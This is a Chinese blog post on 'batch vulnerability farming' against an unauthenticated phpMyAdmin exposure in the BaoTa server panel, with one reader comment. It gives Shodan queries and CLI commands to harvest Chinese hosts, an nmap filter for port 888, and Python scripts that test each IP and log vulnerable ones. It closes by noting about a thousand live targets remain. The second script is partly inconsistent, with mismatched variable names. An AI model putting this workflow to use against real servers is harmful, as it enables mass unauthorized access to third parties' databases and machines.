从宝塔未授权访问看批量刷洞思路
昨天爆出来宝塔存在个未授权访问漏洞,影响版本:
宝塔 linux 面板 7.4.2
宝塔 windows 面板 6.8
而且利用方式极其简单,exp一句话搞定:
http://安装了宝塔的IP:888/pma
访问截图如下:
利用方式很简单,简单到甚至毫无技术含量。但是怎么样去找到存在漏洞的主机,还是需要琢磨一下的。也借此机会锻炼下自己的快速反应能力。以下思路参考,希望抛砖引玉。
一、漏洞复现
在爆出漏洞之后,一开始实际上抱有的是怀疑态度。因为就自己使用宝塔靶机的经验来看,默认开放的是8888端口,在宝塔安全策略中也不存在默认开放888端口的。但后来发现888端口还是真开放的,默认访问进去是nginx的403页面。在复现的过程中,发现返回了404。确认过版本是没有问题的,根据之后的判断情况来看,只能猜测是因为没有安装phpmyadmin引起的了。
所幸群友及时相助,发了一个可成功利用的URL过来。这才确定这个漏洞的利用方式,以及成功与否的判断条件。
二、信息收集
既然漏洞利用方式已经清楚,下一步就是寻找宝塔。首先想到的必然是shodan、fofa、zoomeye等信息收集常用的搜索引擎。考虑到自己有一个shodan的会员,还是利用shodan进行信息收集。
首先需要确定的是宝塔的特征。目前只知道宝塔默认开放8888端口,且根据以往的渗透经验来看,直接访问8888端口会返回一个错误信息,说明需要输入正确的登陆入口。从这个思路入手,搜索shodan:
port:"8888" country:"CN"
很快就发现宝塔的入口了。观察规律,发现宝塔页面会返回一个BT_PANEL_6的cookie。
添加我们发现的宝塔特征,重新搜索,发现有17w条结果
port:"8888" country:"CN" BT_PANEL_6
一个个点开看是肯定不现实的,这时候可以用到shodan的API。
直接用python的pip安装shodan库
pip install shodan
输入api
shodan init 自己的API
批量获取数据,需要搜索的语句加在后面即可。
shodan download result port:"8888" country:"CN" BT_PANEL_6 --limit 10000
limit参数可以控制下载条数,但需要注意的是,即使有1美元会员也只能有1w条左右,之后要氪金
将结果转化为excel:
shodan convert result.json.gz xlsx
这样就能初步筛选出存在宝塔的IP了
三、数据筛选
上一步获得的仅是开放宝塔管理端口8888的IP信息,但漏洞相关的端口888没有与之关联起来,下一步的思路就是在这批IP中筛选出开放888端口的IP。因为只有一个端口,所以思路也很简单:NMAP跑就完了。
nmap -iL baota.txt -p 888 -oX result.xml
我这里使用的是导出xml之后再把端口为open的数据提取出来,个人用的是xpath,但说实话其实不是很方便,如果有更好的方法就好了。
过一遍nmap,可以看得出IP是少多了,筛掉了一半多。
四、批量测试
接下来咱们终于要下手了。因为这次漏洞很简单,所以POC也不难,网传出了一份如下:
import requests
url_test = ''
bug = '/pma'
url = url_test + bug
r = requests.get(url)
zt = r.status_code
if zt == 200:
r_bianma = r.content
r_doc = str(r_bianma,'utf-8')
demo = '常规设置'
good = demo in r_doc
if good == True:
print('漏洞存在')
else:
print('漏洞不存在')
else:
print('返回状态码不等于:' + zt)
接下来就需要一点POC编写技巧了,虽然说是POC编写,实际上非常简单。
上面给的POC虽然基本思路没错,但是在判断漏洞存在逻辑=上存在一个很严重的问题:
聪明的小伙伴们看出来了吗?POC中的判断条件是,如果页面中存在“常规设置”字眼,则漏洞存在,但实际上,大多数的phpmyadmin都是英文!为此需要对判断条件进行修改,这里根据phpmyadmin的报错页面,直接对返回页面的长度进行判断,顺便加上一个for循环(不完整,但补全并不难):
i = 1
for url in f.readlines():
bug = ':888/pma'
print(i)
i = i+1
urlA = 'http://' + url.strip().replace("\r", "").replace("\n", "").replace("\t", "") + bug
w = open("result_check.txt", "a+")
try:
r = requests.get(urlB,headers=header,timeout=(3,7))
zt = r.status_code
if zt == 200:
r_bianma = r.content
if len(r_bianma) > 10000:
print('漏洞存在')
w.write(str(urlB + '\r\n'))
else:
print('漏洞不存在')
else:
print('返回状态码不等于:' + zt)
w.close()
except:
print("ERROR")
w.close()
continue
f.close()
批量漏洞get(仍然有1000条左右的记录,证明机会还是大大的有啊)
Pika
2021年2月20日 上午10:42
赶紧看了一下自己的版号,啊还好是已经更新了,不然默默成为肉鸡了